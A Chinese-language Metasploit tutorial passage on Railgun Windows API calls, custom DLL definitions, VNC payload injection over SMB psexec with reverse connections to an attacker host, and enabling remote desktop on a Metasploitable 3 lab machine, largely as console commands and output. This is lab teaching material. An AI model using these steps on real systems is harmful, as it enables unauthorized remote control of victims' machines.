之前,我们需要先了解使用Railgun
需要遵循哪些基本步骤:
1、确定你要调用的函数
2、你可以在微软的文档中找到这些函数https://learn.microsoft.com/en-us/previous-versions//aa383749(v=vs.85)?redirectedfrom=MSDN
3、检查包含该函数的库文件(DLL)(比如kernel32.dll
)。所选的库函数可以被调用。(client.railgun.dll_name. function_name(arg1, arg2, ...)
)
4、Windows MSDN
文档库可找到要在目标机器上调用的有用 DLL 和函数
5、使用API
调用收集有关目标的信息
>> self.sys.config.sysinfo
=> {"Computer"=>"METASPLOITABLE3", "OS"=>"Windows 2008 R2 (Build 7601, Service Pack 1).", "Architecture"=>"x64", "BuildTuple"=>nil, "System Language"=>"en_US", "Domain"=>"WORKGROUP", "Logged On Users"=>2}
>>
6、获取系统版本信息
>> self.sys.config.sysinfo['OS']
=> "Windows 2008 R2 (Build 7601, Service Pack 1)."
使用 Railgun
是一种非常强大和令人兴奋的体验。你可以练习自己的调用和脚本来分析输出。但是,如果要调用的 DLL
或函数不是 Railgun
定义的一部分怎么办?在这种情况下,Railgun
还提供了向 Railgun
添加你自己的函数和 DLL
的灵活性。我们将在下节中学习。
# 工作原理
Railgun
是Meterpreter
的扩展,它允许我们调用Windows API
而无需编译自己的DLL
。 Railgun
可用于对受攻击目标进行远程DLL
调用。 远程DLL
调用是渗透测试中重要的过程,因为它们使我们能够控制被攻击目标并以完全特权执行任何系统指令。
其他
Railgun
目前支持十多种不同的 Windows API DLL
。你可以在以下目录中找到它们的定义:
$ ls -al /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows
total 2712
drwxr-xr-x 2 root root 4096 Mar 21 17:25 .
drwxr-xr-x 5 root root 4096 Aug 8 2022 ..
-rw-r--r-- 1 root root 2425849 Feb 24 00:02 api_constants.rb
-rw-r--r-- 1 root root 67598 Feb 24 00:02 def_advapi32.rb
-rw-r--r-- 1 root root 681 Feb 24 00:02 def_crypt32.rb
-rw-r--r-- 1 root root 649 Feb 24 00:02 def_dbghelp.rb
-rw-r--r-- 1 root root 2296 Feb 24 00:02 def_iphlpapi.rb
-rw-r--r-- 1 root root 107873 Feb 24 00:02 def_kernel32.rb
-rw-r--r-- 1 root root 5315 Feb 24 00:02 def_netapi32.rb
-rw-r--r-- 1 root root 5355 Feb 24 00:02 def_ntdll.rb
-rw-r--r-- 1 root root 638 Feb 24 00:02 def_psapi.rb
-rw-r--r-- 1 root root 656 Feb 24 00:02 def_shell32.rb
-rw-r--r-- 1 root root 517 Feb 24 00:02 def_spoolss.rb
-rw-r--r-- 1 root root 81040 Feb 24 00:02 def_user32.rb
-rw-r--r-- 1 root root 962 Feb 24 00:02 def_version.rb
-rw-r--r-- 1 root root 2626 Feb 24 00:02 def_winspool.rb
-rw-r--r-- 1 root root 2673 Feb 24 00:02 def_wlanapi.rb
-rw-r--r-- 1 root root 3690 Feb 24 00:02 def_wldap32.rb
-rw-r--r-- 1 root root 16640 Feb 24 00:02 def_ws2_32.rb
# 19、向Railgun中添加DLL和函数定义
在上一节中,我们学习了通过Railgun
调用自带的Windows api dll
。本节我们将学习如何添加自定义的DLL
和函数定义。相关文档:https://www.rubydoc.info/github/rapid7/metasploit-framework/Rex/Post/Meterpreter/Extensions/Stdapi/Railgun/Railgun
向Railgun
中添加新的DLL定义非常简单,只需要在对应的系统架构文件中添加def_dllname.rb
文件即可
$ ls -al /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/
total 20
drwxr-xr-x 5 root root 4096 Aug 8 2022 .
drwxr-xr-x 4 root root 4096 Mar 21 17:25 ..
drwxr-xr-x 2 root root 4096 Mar 21 17:25 linux
drwxr-xr-x 2 root root 4096 Mar 21 17:25 osx
drwxr-xr-x 2 root root 4096 Mar 21 17:25 windows
比如添加Windows
平台下的DLL定义,在windows
路径下添加文件
$ ls
api_constants.rb def_dbghelp.rb def_netapi32.rb def_shell32.rb def_version.rb def_wldap32.rb
def_advapi32.rb def_iphlpapi.rb def_ntdll.rb def_spoolss.rb def_winspool.rb def_ws2_32.rb
def_crypt32.rb def_kernel32.rb def_psapi.rb def_user32.rb def_wlanapi.rb
┌──(kali㉿kali)-[/usr/…/stdapi/railgun/def/windows]
└─$ vim def_some.rb
$ cat def_some.rb
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
class Def_somedll
def self.create_dll(dll_path = 'somedll')
dll = DLL.new(dll_path, ApiConstants.manager)
# 1st argument = Name of the function
# 2nd argument = Return value's data type
# 3rd argument = An array of parameters
dll.add_function('SomeFunction', 'DWORD',[
["DWORD","hwnd","in"]
])
return dll
end
end
end; end; end; end; end; end; end
┌──(kali㉿kali)-[/usr/…/stdapi/railgun/def/windows]
1、首先,将原DLL定义文件备份,这里以def_shell32.rb
为例
$ sudo mv def_shell32.rb def_shell32.rb.bak
2、打开进行编辑,要编写 DLL
定义,首先要指定使用的模块
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
3、然后,是类和 DLL 的位置
class Def_windows_shell32
def self.create_library(constant_manager, library_path = 'shell32')
dll = Library.new(library_path, constant_manager)
4、下一步是向DLL定义中添加函数。如果您查看Metasploit
中的def_shell32.dll
脚本,您会发现IsUserAnAdmin
函数已经被添加到其中:
dll.add_function('IsUserAnAdmin', 'BOOL', [])
该函数只会返回一个布尔值,取决于条件是真还是假。同样地,我们可以在 shell32.dll
中添加自己的函数定义。
最终的代码如下:
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
class Def_windows_shell32
def self.create_library(constant_manager, library_path = 'shell32')
dll = Library.new(library_path, constant_manager)
dll.add_function('IsUserAnAdmin', 'BOOL', [])
return dll
end
end
end; end; end; end; end; end
# 工作原理
要列出DLL定义shell32.dll
的可用函数,可在meterpreter
会话中查看
>> self.railgun.shell32.functions
=> {"IsUserAnAdmin"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::LibraryFunction:0x00007fd7c497d9e0 @calling_conv="stdcall", @params=[], @remote_name="IsUserAnAdmin", @return_type="BOOL">}
如你所见,现在我们有IsUserAnAdmin
函数可用。
调用函数并分析输出的内容
>> self.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>true}
>>
该函数返回了true
,表示我们的会话正在以系统管理员身份运行。Railgun
为我们提供了灵活性,可以轻松执行那些没有以模块形式存在的任务。因此,我们不仅局限于框架提供给我们的脚本和模块;事实上,我们可以按需调用它们。
以上只是一个简短的演示,你可用根据需要,将Railgun
作为一个强大的工具来调用Windows APIs
。你可以在MSDN
文档库中寻找各种有用的Windows API
调用,并将它们添加到Railgun
中以增强你的框架功能。它可以用来调用驻留在目标机上的任何DLL
。
# 20、注入VNC服务
虚拟网络计算 (VNC) 是一种图形桌面共享系统,它使用远程帧缓冲区 (RFB) 协议远程控制另一台计算机。
我们可以使用Metasploit
的vnc
注入payload
。在本节中,我们将学习如何注入VNC
。
必须在主机系统上安装VNC查看器,才能接收目标系统的VNC会话。在本节中我们将使用kali系统自带的vnc viewer
。
使用windows/vncinject/reverse_tcp
payload 进行vnc注入
msf5 > use exploit/windows/smb/psexec
smsf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.91.133
RHOSTS => 192.168.91.133
msf5 exploit(windows/smb/psexec) > set SMBUSER Administrator
SMBUSER => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPASS vagrant
SMBPASS => vagrant
msf5 exploit(windows/smb/psexec) > set payload windows/vncinject/reverse_tcp
payload => windows/vncinject/reverse_tcp
msf5 exploit(windows/smb/psexec) > set LHOST 192.168.91.135
LHOST => 192.168.91.135
msf5 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.91.135:4444
[*] 192.168.91.133:445 - Connecting to the server...
[*] 192.168.91.133:445 - Authenticating to 192.168.91.133:445 as user 'Administrator'...
[*] 192.168.91.133:445 - Selecting PowerShell target
[*] 192.168.91.133:445 - Executing the payload...
[+] 192.168.91.133:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (401920 bytes) to 192.168.91.133
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vncviewer.
注入成功后,攻击机将会收到一个 vnc
会话
# 21、启用远程桌面
使用 vnc 桌面可能会触发警报,这就需要我们尝试使用系统自带的远程桌面。
1、为了测试,首先在 Metasploitable 3
上禁用远程桌面。
2、获取一个 Meterpreter
会话
msf6 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.91.128:7777
[*] 192.168.91.133:445 - Connecting to the server...
[*] 192.168.91.133:445 - Authenticating to 192.168.91.133:445 as user 'Administrator'...
[*] 192.168.91.133:445 - Selecting PowerShell target
[*] 192.168.91.133:445 - Executing the payload...
[+] 192.168.91.133:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 192.168.91.133
[*] Meterpreter session 4 opened (192.168.91.128:7777 -> 192.168.91.133:63161) at 2023-03-23 11:16:20 +0800
meterpreter >
3、使用meterpreter
自带的脚本getgui
启用目标系统的远程桌面,使用run getgui -e
启用远程桌面并且不会创建新用户。
meterpreter > run getgui -e
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20230323.4137.rc
tips:在新版的msf中,该脚本已经由
post/windows/manage/enable_rdp
模块替代。
4、然后使用rdp连接工具进行连接
rdesktop 192.168.91.133-u Administrator
# 工作原理
在使用run getgui -e
的时候,会看到一条输出警告[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
,告诉你该脚本已经被弃用了。已由单独的后渗透模块取代。
如果要使用enable_rdp
后渗透模块,首先将meterpreter
会话切换到后台,然后加载enable_rdp
后渗透模块,设置相应的参数,然后选择会话id
即可。
meterpreter > bg
[*] Backgrounding session 4...
msf6 exploit(windows/smb/psexec) > use post/windows/manage/enable_rdp
msf6 post(windows/manage/enable_rdp) > show options
msf6 post(windows/manage/enable_rdp) > set SESSION 4
SESSION => 4
msf6 post(windows/manage/enable_rdp) > exploit
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20230323120156_default_192.168.91.133_host.windows.cle_382804.txt
[*] Post module execution completed